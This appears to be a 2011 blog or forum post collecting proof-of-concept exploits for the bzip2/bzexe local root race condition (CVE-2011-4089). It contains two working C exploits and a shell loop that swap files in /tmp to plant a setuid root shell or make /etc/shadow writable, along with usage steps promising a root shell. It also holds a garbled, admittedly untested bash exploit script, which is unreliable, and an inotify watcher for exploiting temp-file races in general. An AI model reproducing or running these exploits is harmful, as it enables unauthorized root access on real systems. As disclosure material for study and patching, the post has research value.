CVE-2011-4089 – bzip2/bzexe Local root race condition
OK since there has been alot of chatter about this on the seclists.org and FD… I decided to give credit where it is due… Firstly a brief outline of the bug…
bzexe is now apparently, ALSO same code as bzip2 wich wouldmean, that this would be updated in the way of, possible races to be won…
Anyhow, many talks with lh/loophole,bugz,vladz,Benjamin renaut,kcope and others have shown me ways to exploit it… and yes it is possible, and even with bzip2… now, lets look at it abit..
Here is PoC main updated also in the newer post on this :
Affected is about every distro wich has bzip2 or bzexe , pick your binary and compress some file with that binary, then launch this exploit with ./exploit my-compressed-file ,wait for root..
/*
bzexec_PoC.c -- bzip2 (bzexe) race condition PoC (CVE-2011-4089)
Author: vladz (http://vladz.devzero.fr)
Tested on: Debian 6.0.3 up to date (bzip2 version 1.0.5-6)
This PoC exploits a race condition in the bzexe script. This tool is
rarely used so I wasn't supposed to write an exploit. But some people
on the full-disclosure list had doubts about this exploitation. Public
discussion about this issue started from this post:
http://seclists.org/fulldisclosure/2011/Oct/776.
I am using Inotify to win the race (on my dual-core, it succeed 100%).
Usage: ./bzexe_PoC <command_name>
For instance, if "/bin/dd" has already been compressed with bzexe,
launch:
$ ./bzexe_PoC dd
[*] launching attack against "dd"
[+] creating evil script (/tmp/evil)
[+] creating target directory (/tmp/dd)
[+] initialize inotify
[+] waiting for root to launch "dd"
[+] opening root shell
# whoami
root
*/
#define _GNU_SOURCE
#include <sys/inotify.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <fcntl.h>
int create_nasty_shell(char *file) {
char *s = "#!/bin/bash\n"
"echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n"
"gcc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n"
"chmod 4755 /tmp/sh; rm -f ${0}; ${0##*/} $@\n";
int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO);
write(fd, s, strlen(s));
close(fd);
return 0;
}
int main(int argc, char **argv) {
int fd, wd;
char buf[1], *targetpath,*evilsh = "/tmp/evil", *trash = "/tmp/trash";
if (argc < 2) {
printf("usage: %s <cmd name>\n", argv[0]);
return 1;
}
printf("[*] launching attack against \"%s\"\n", argv[1]);
printf("[+] creating evil script (/tmp/evil)\n");
create_nasty_shell(evilsh);
targetpath = malloc(sizeof(argv[1]) + 6);
sprintf(targetpath, "/tmp/%s", argv[1]);
printf("[+] creating target directory (%s)\n", targetpath);
mkdir(targetpath, S_IRWXU|S_IRWXG|S_IRWXO);
printf("[+] initialize inotify\n");
fd = inotify_init();
wd = inotify_add_watch(fd, targetpath, IN_CREATE);
printf("[+] waiting for root to launch \"%s\"\n", argv[1]);
syscall(SYS_read, fd, buf, 1);
syscall(SYS_rename, targetpath, trash);
syscall(SYS_rename, evilsh, targetpath);
inotify_rm_watch(fd, wd);
printf("[+] opening root shell (/tmp/sh)\n");
sleep(2);
system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\"");
return 0;
}
thats the latest code and yes wins every race…
The exploit works as follows. This isn't refined (why bother?) but worked. 1. determine which files are bzexe'd on a system say bash 2. create a matching directory you own in /tmp 3. create a exploit script in /tmp 4. watch for the existence of /tmp/bash/gztmp* we want to know before the gztmp file is renamed to bash. larry@b0rk:~$ while (true) do ./exp.sh ; done #!/bin/bash if [ -a /tmp/bash/gztmp* ] then echo "Exploting bzexe." mv /tmp/bash /tmp/bash.dir echo "Copying evil file into place." cp /tmp/bad /tmp/bash fi This is a difficult race condition to win, but it can be won maybe 60% of the time. Also my system is 256mb of ram @ 500mhz. Probably much easier to win a race than on a dual core 3.0 ghz system? Failures will show: root@b0rk:/root# ./bash <-- missed copy ./bash: 22: /tmp/bash: not found root@b0rk:/root# ./bash <-- race failed because permissions weren't set yet on bash from cp ./bash: 22: /tmp/bash: Permission denied Success will show: root@b0rk:/root# ./bash root@b0rk:/root# ls -l /etc/shadow -rwxrwxrwx 1 root shadow 1024 2010-07-03 11:55 /etc/shadow larry@b0rk:~$ while (true) do ./exp.sh ; done
Thankyou for that, it was a very good description and also allows others to create a poc ![]()
Ohwish, here is one…
/*
bzexe race condition POC //// on some boxes bzexe = bzip2 (exact code)
Benjamin Renaut <ben@tokidev.fr>
--
Example of use:
$ gcc bz.c -o bz -O3
$ ./bz ls
then in another shell (as root):
# cp /bin/ls ./
# bzexe ls
# bzip2 ls
# ./ls
-> and check /tmp/bzexe.xd
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <dirent.h>
#include <errno.h>
char* shellcode="#!/bin/sh\nsh >/tmp/bzexe.xd\n";
int write_shellcode(char* dest) {
FILE* fdest=fopen(dest, "w");
if(fdest==NULL)
return(-1);
if(chmod(dest, 0777))
return(-1);
fprintf(fdest, shellcode);
fclose(fdest);
return(0);
}
int main(int argc, char** argv) {
DIR* tdir;
struct dirent* tdirent;
char dirname[4000];
char target[4000];
if(argc!=2) {
printf("Usage: %s [ANY BINARY]\n", argv[0]);
printf("- Will wait for BINARY to be executed (through bzexe/bzip2) and then will try and exploit it\n");
return(0);
}
snprintf(dirname, 4000, "/tmp/%s", argv[1]);
if(mkdir(dirname, 0777)) {
perror("- mkdir");
return(-1);
}
while(1) {
tdir=opendir(dirname);
if(tdir==NULL) {
perror("- opendir");
return(-1);
}
while((tdirent=readdir(tdir))!=NULL) {
if((strncmp(tdirent->d_name, "gztmp", 5)==0) && (tdirent->d_type & DT_REG)) {
snprintf(target, 4000, "%s/%s", dirname, tdirent->d_name);
if(unlink(target)) {
perror("- unlink");
return(-1);
}
if(rmdir(dirname)) {
perror("- rmdir");
return(-1);
}
if(write_shellcode(dirname)) {
printf("- Fail\n");
return(-1);
}
printf("+ Success\n");
return(0);
}
}
closedir(tdir);
}
return(0);
}
Now that works great and, you just then with that .c , need to run ANY bzip2 or bzexe and bingo, you will hav shell ![]()
It is tricky, but it is possible.. just use the info, and, it is tested and working.. this sh version, would need tweaking but, it is very good attempt to make a poc for a starters go, as it must, be detached and execute the payload seperately really for it to work, so maybe this would be better to have a .c file seperate wich simply makes the looping bzip2, then again, you could also use that code up there, and Inotify code made for ALL tmp./ wich i will show abuit further on..
##////////////////exploit.sh #!/bin/bash ##BZEXE/BZIP2 Compress<->Decompress race condition (local root exploit) echo "~~ +[!] BZEXE/BZIP2/BUNZIP2 [Compress<->Decompress] Race condition & (LocalRoot) [!]+-~~" >&2 cd /tmp mkdir /bash/sh chmod +x /bash/sh dd if=/dev/zero bs=135k count=15000 of=/tmp/bash/shell cat > /tmp/bash/bad << __EOF #!/bin/sh chmod 777 /tmp/bash/sh __EOF if [ /bin/bzexe ] then /bin/bzexe /tmp/bash/shell echo "" >&2 else if [ /bin/bzip2 ] then /bin/bzip2 /tmp/bash/shell echo "" >&2 else echo "[!!] Test: Decompression bug with: bunzip2 -d bug.bz2 .." >&2 if [ /bin/bunzip2 && /tmp/bash/shell.bz2 ] /bin/bunzip2 -d /tmp/bash/shell.bz2 echo "[-] " >&2 ls -l shell.bz2 echo "[+] Test: bunzip2 -d is now running .." >&2 then if [ -a /tmp/bash/gztmp* ] then echo "[*] Trying the move/copy bad script.sh .." >&2 mv /tmp/bash/shell /tmp/bash/bash.dir cp /tmp/bash/bad /tmp/bash/sh echo "[!] OK! We will check for our shell (2 places possible) .." >&2 ls -l /tmp/bash/sh ls -l /tmp/bash/bash.dir ./tmp/bash/sh if [ /tmp/bash/sh ] echo "-> Spawning rootshell .." >&2 echo "" >&2 else if [ /tmp/bash/bash.dir ] echo "-> UID0 - Have fun .." >&2 echo "" >&2 then whoami su id uptime uname -ar fi fi fi fi fi
Thats the *first* PoC wich was not really tested but looks to be on the right path for sure… it may need to have some tweaking but, thats atleast 2 symlink problems here… now lets look at something else…
wich, you could just let run, and it would CATCH all these exceptions:
/*
* hax_inotify_tempracecardriver.c
*
* /tmp, /var/tmp, /usr/tmp inotify watch POC.
* This will catch 100%* of mkstemp(), tmp files, etcetera usages in
* the above directories.
*
* *[1] This is true if IN_Q_OVERFLOW is not reached.
* You can check your max queued events by looking inside of:
* /proc/sys/fs/inotify/max_queued_events
* The value in this file is used when an application calls
* inotify_init(2) to set an upper limit on the number of events that can
* be queued to the corresponding inotify instance. Events in excess of
* this limit are dropped, but an IN_Q_OVERFLOW event is always generated.
*
* <Scrippie> 100% wut? liez and slander!
* <lh> it can be 100% though if /proc/sys/fs/inotify/max_queued_events
* is larger than your avail inodes
* <lh> i'm not that big of a liar :\
* <kcope> dont try to be smarter than Scrippie :> <3
* Example to determine inodes and update max_queued_events:
* cd /proc/sys/fs/inotify/
* tune2fs -l /dev/<FS>|grep "Inode count"|awk '{print $3}' > max_queued_events
* *******************************************************************************
* Modify accordingly for owning temp race conditions.
* This will print detailed stat information regarding creation,
* metadata changes (permissions, timestamps, extended attributes, etc.),
* and deletion.
* The inotify API provides a mechanism for monitoring file system
* events, merged into the kernel since 2.6.13-R3.
* Author: loophole/lh (Cody Tubbs) codytubbs@gmail.com 2011-05-27
* HAX 2011
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <time.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/inotify.h>
#define LOGFILE "tmpfiles.out"
#define BUF_LEN (1024*(16+16))
#define PATH "/tmp"
#define PATH2 "/var/tmp"
#define PATH3 "/usr/tmp"
int main(int argc, char **argv){
int length, i, fd, wd, wd2, wd3;
char buf[BUF_LEN];
char fp[256];
char type[56];
struct stat sb;
FILE *file;
time_t ltime; /* calendar time */
fd = inotify_init();
if(fd < 0){ perror( "inotify_init" ); }
file = fopen(LOGFILE, "a");
wd = inotify_add_watch( fd, PATH, IN_CREATE | IN_ATTRIB | IN_DELETE);
wd2 = inotify_add_watch( fd, PATH2, IN_CREATE | IN_ATTRIB | IN_DELETE);
wd3 = inotify_add_watch( fd, PATH3, IN_CREATE | IN_ATTRIB | IN_DELETE);
for(;;) {
i=0;
length = read(fd, buf, BUF_LEN);
if (length < 0){ perror("read"); }
while(i < length){
struct inotify_event *event = (struct inotify_event *) &buf[i];
if(event->len){
if(event->mask & IN_CREATE){
snprintf(type, sizeof(type), "BEEN CREATED");
goto stat;
} else if(event->mask & IN_ATTRIB){
snprintf(type, sizeof(type), "ATTRIBUTE CHANGE(S)");
goto stat;
} else if(event->mask & IN_DELETE){
snprintf(type, sizeof(type), "BEEN DELETED");
ltime = time(NULL); // get current cal time
printf("The file [%s] has [%s] at %s\n", event->name, type, asctime(localtime(<ime)));
fprintf(file, "The file [%s] has [%s] at %s\n", event->name, type, asctime(localtime(<ime)));
goto gettime;
}
stat:;
snprintf(fp, sizeof(fp), "%s/%s", PATH, event->name);
if(stat(fp, &sb) == -1){
snprintf(fp, sizeof(fp), "%s/%s", PATH2, event->name);
if(stat(fp, &sb) == -1){
snprintf(fp, sizeof(fp), "%s/%s", PATH3, event->name);
if(stat(fp, &sb) == -1){
perror("stat");
}
}
}
ltime = time(NULL); // get current cal time
printf("The file [%s] has [%s] at %s\n", event->name, type, asctime(localtime(<ime)));
fprintf(file, "The file [%s] has [%s] at %s\n", event->name, type, asctime(localtime(<ime)));
printf("File type: ");
fprintf(file, "File type: ");
switch (sb.st_mode & S_IFMT){
case S_IFBLK: printf("block device\n"); fprintf(file, "block device\n"); break;
case S_IFCHR: printf("character device\n"); fprintf(file, "character device\n"); break;
case S_IFDIR: printf("directory\n"); fprintf(file, "directory\n"); break;
case S_IFIFO: printf("FIFO/pipe\n"); fprintf(file, "FIFO/pipe\n"); break;
case S_IFLNK: printf("symlink\n"); fprintf(file, "symlink\n"); break;
case S_IFREG: printf("regular file\n"); fprintf(file, "regular file\n"); break;
case S_IFSOCK: printf("socket\n"); fprintf(file, "socket\n"); break;
default: printf("unknown?\n"); fprintf(file, "unknown?\n"); break;
}
printf("I-node number: %ld\n", (long) sb.st_ino);
printf("Mode: %lo (octal)\n", (unsigned long) sb.st_mode);
printf("Link count: %ld\n", (long) sb.st_nlink);
printf("Ownership: UID=%ld GID=%ld\n", (long) sb.st_uid, (long) sb.st_gid);
printf("Preferred I/O block size: %ld bytes\n", (long) sb.st_blksize);
printf("File size: %lld bytes\n", (long long) sb.st_size);
printf("Blocks allocated: %lld\n", (long long) sb.st_blocks);
printf("Last status change: %s", ctime(&sb.st_ctime));
printf("Last file access: %s", ctime(&sb.st_atime));
printf("Last file modification: %s", ctime(&sb.st_mtime));
fprintf(file, "I-node number: %ld\n", (long) sb.st_ino);
fprintf(file, "Mode: %lo (octal)\n", (unsigned long) sb.st_mode);
fprintf(file, "Link count: %ld\n", (long) sb.st_nlink);
fprintf(file, "Ownership: UID=%ld GID=%ld\n", (long) sb.st_uid, (long) sb.st_gid);
fprintf(file, "Preferred I/O block size: %ld bytes\n", (long) sb.st_blksize);
fprintf(file, "File size: %lld bytes\n", (long long) sb.st_size);
fprintf(file, "Blocks allocated: %lld\n", (long long) sb.st_blocks);
fprintf(file, "Last status change: %s", ctime(&sb.st_ctime));
fprintf(file, "Last file access: %s", ctime(&sb.st_atime));
fprintf(file, "Last file modification: %s", ctime(&sb.st_mtime));
gettime:;
printf("\n\n");
fprintf(file, "\n\n");
}
i += 16 + event->len;
}
}
(void) inotify_rm_watch(fd, wd);
(void) close(fd);
fclose(file);
exit(0);
}
Thx verymuch to LH
for this wich, is very handy for catching *any* race, wich, many of wich we wont even see unless we can see the tmp files made from siome backup scripts etc…
There is much more to this but, really it is trivial, and, you could probably make a working bash script, and feel free to add a comment of a BETTER poc or email it to me and, all credit will goto you )
remember also, bzexe = bzip2 code, as they say online and, as the tarball is, also, this would possibly now link to bunzip2, and, this is why the hax_inotify etc, are handy to see what tmpfiles are made, because the ln problem will most likely work for all 3 binarys, not ONLY bzexe/bzip2 , those are definates.
Enjoy and thanks to all who helped on this one!
xd